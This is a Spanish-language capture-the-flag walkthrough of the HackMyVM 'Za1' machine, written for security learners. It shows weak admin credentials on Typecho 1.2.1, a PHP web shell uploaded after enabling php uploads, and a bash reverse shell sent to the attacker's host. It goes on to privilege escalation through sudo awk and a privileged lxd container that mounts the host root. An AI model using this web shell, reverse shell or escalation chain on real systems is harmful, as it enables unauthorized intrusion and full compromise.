HackMyVM - Za1

logo

  • File Upload Typecho v.1.2.1
  • Abuse Awk Binary
  • lxd/lxc Group - Privilege escalation

Escaneo de puertos

❯ nmap -p- -T5 -n -v 192.168.1.15

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,80 192.168.1.15

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 36325b78d0f43c9f051aa713913e38c1 (RSA)
|   256 7207821526ce1334e842cfdadee2a714 (ECDSA)
|_  256 fc9c664686601a2932c61fecb247b874 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Zacarx's blog
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-generator: Typecho 1.2.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP - TCP 80

En el puerto 80 observo una web sencilla, al poner el ratón encima de Zacarx's blog puedo ver el dominio za1.hmv.

http

Agrego el dominio a mi archivo hosts y veo que la web cambia estéticamente.

domain

Realizo fuerza bruta de directorios.

❯ gobuster dir -u http://za1.hmv -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://za1.hmv
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/08/31 13:26:05 Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 301) [Size: 302] [--> http://za1.hmv/admin/]
/install              (Status: 301) [Size: 304] [--> http://za1.hmv/install/]
/sql                  (Status: 301) [Size: 300] [--> http://za1.hmv/sql/]
/var                  (Status: 301) [Size: 300] [--> http://za1.hmv/var/]
/usr                  (Status: 301) [Size: 300] [--> http://za1.hmv/usr/]
/server-status        (Status: 403) [Size: 272]

En admin hay una panel de login.

login

Pruebo con el usuario zacarx y la contraseña zacarx.

login_zacarx

Accedo al panel de zacarx.

zacar_dashboard

En este enlace explica como añadir archivos php y subir archivos.

Con una extensión para el navegador traduzco el sitio web.

dashboard_traducido

Me voy a set up y hago click en basic.

setup_basic

En other formats añado la extensión php y guardo los cambios.

conf_php

Navego hacia write y hago click en write an article.

write

En esta ventana le doy click a appendix y me sale la opción de subir archivos.

appendix

Para subir el archivo hay que hacerlo con la web en chino, sino el botón choose file upload no funcionará.

Subo el archivo cmd.php que contiene este código.

<?php  
        system($_GET['c']);
?>

El archivo se ha subido correctamente y me proporciona un link con la ruta del archivo que acabo de subir, click en el primer botón para continuar.

upload_cmd

En esta ventana se puede ver los pasos que he realizado anteriormente.

upload_ok

Mando una petición con curl y veo que soy el usuario www-data.

❯ curl "http://za1.hmv/usr/uploads/2023/08/884955627.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Como puedo ejecutar comandos me mando una shell.

❯ curl "http://za1.hmv/usr/uploads/2023/08/884955627.php?c=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.18%2F4444%200%3E%261%22"

Obtengo la shell.

❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.15] 39672
bash: cannot set terminal process group (1273): Inappropriate ioctl for device
bash: no job control in this shell
www-data@za_1:/var/www/html/usr/uploads/2023/08$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Tratamiento de la tty.

ctrl + Z
stty raw -echo;fg
reset
xterm
export TERM=xterm SHELL=bash
stty rows 50 columns 200

Enumero permisos de sudo.

www-data@za_1:/var/www/html/usr/uploads/2023/08$ sudo -l
Matching Defaults entries for www-data on za_1:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on za_1:
    (za_1) NOPASSWD: /usr/bin/awk

Uso el recurso GTFObins para pivotar de www-data a za_1.

www-data@za_1:/var/www/html/usr/uploads/2023/08$ sudo -u za_1 awk 'BEGIN {system("/bin/bash")}'
za_1@za_1:/var/www/html/usr/uploads/2023/08$ id
uid=1000(za_1) gid=1000(za_1) groups=1000(za_1),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)

En el comando anterior se puede observar za_1 tiene en grupos a lxd, buscando en internet he encontrado este post de hacktricks .

sudo su
sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
git clone https://github.com/lxc/distrobuilder
cd distrobuilder
make
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18

Una vez se han creado los archivos lxd.tar.xz and rootfs.squashfs los subo a la máquina víctima.

za_1@za_1:/tmp$ wget 192.168.1.18/lxd.tar.xz 
za_1@za_1:/tmp$ wget 192.168.1.18/rootfs.squashfs

Importo los archivos.

za_1@za_1:/tmp$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
Image imported with fingerprint: 9e52970f6e179b3769c04ac6c9f4d9953818f72c9443379849d42b28a28dde80

Compruebo se ha importado correctamente.

za_1@za_1:/tmp$ lxc image list
+--------+--------------+--------+-----------------------------------------+--------+--------+-------------------------------+
| ALIAS  | FINGERPRINT  | PUBLIC |               DESCRIPTION               |  ARCH  |  SIZE  |          UPLOAD DATE          |
+--------+--------------+--------+-----------------------------------------+--------+--------+-------------------------------+
| alpine | 9e52970f6e17 | no     | Alpinelinux 3.18 x86_64 (20230831_1153) | x86_64 | 2.94MB | Aug 31, 2023 at 12:04pm (UTC) |
+--------+--------------+--------+-----------------------------------------+--------+--------+-------------------------------+

Antes de crear el contenedor hay que iniciar lxd.

za_1@za_1:/tmp$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]: 
Do you want to configure a new storage pool? (yes/no) [default=yes]: 
Name of the new storage pool [default=default]: 
Name of the storage backend to use (btrfs, dir, lvm) [default=btrfs]: 
Create a new BTRFS pool? (yes/no) [default=yes]: 
Would you like to use an existing block device? (yes/no) [default=no]: 
Size in GB of the new loop device (1GB minimum) [default=15GB]: 
Would you like to connect to a MAAS server? (yes/no) [default=no]: 
Would you like to create a new local network bridge? (yes/no) [default=yes]: 
What should the new bridge be called? [default=lxdbr0]: 
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: 
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: 
Would you like LXD to be available over the network? (yes/no) [default=no]: 
Would you like stale cached images to be updated automatically? (yes/no) [default=yes] 
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]: 

Creo el contenedor privesc.

za_1@za_1:/tmp$ lxc init alpine privesc -c security.privileged=true
Creating privesc

Con lxc list puedo ver el contenedor creado.

za_1@za_1:/tmp$ lxc list
+---------+---------+------+------+------------+-----------+
|  NAME   |  STATE  | IPV4 | IPV6 |    TYPE    | SNAPSHOTS |
+---------+---------+------+------+------------+-----------+
| privesc | STOPPED |      |      | PERSISTENT | 0         |
+---------+---------+------+------+------------+-----------+

Añado el path de root a privesc.

za_1@za_1:/tmp$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Device host-root added to privesc

Lanzo el contenedor y obtengo el root.

za_1@za_1:/tmp$ lxc start privesc
za_1@za_1:/tmp$ lxc exec privesc /bin/sh
~ # id
uid=0(root) gid=0(root)

Para leer la flag de root solo hay que ir a la ruta que añadimos anteriormente al contenedor privesc /mnt/root.

Y aquí termina la máquina Za_1.

Saludos!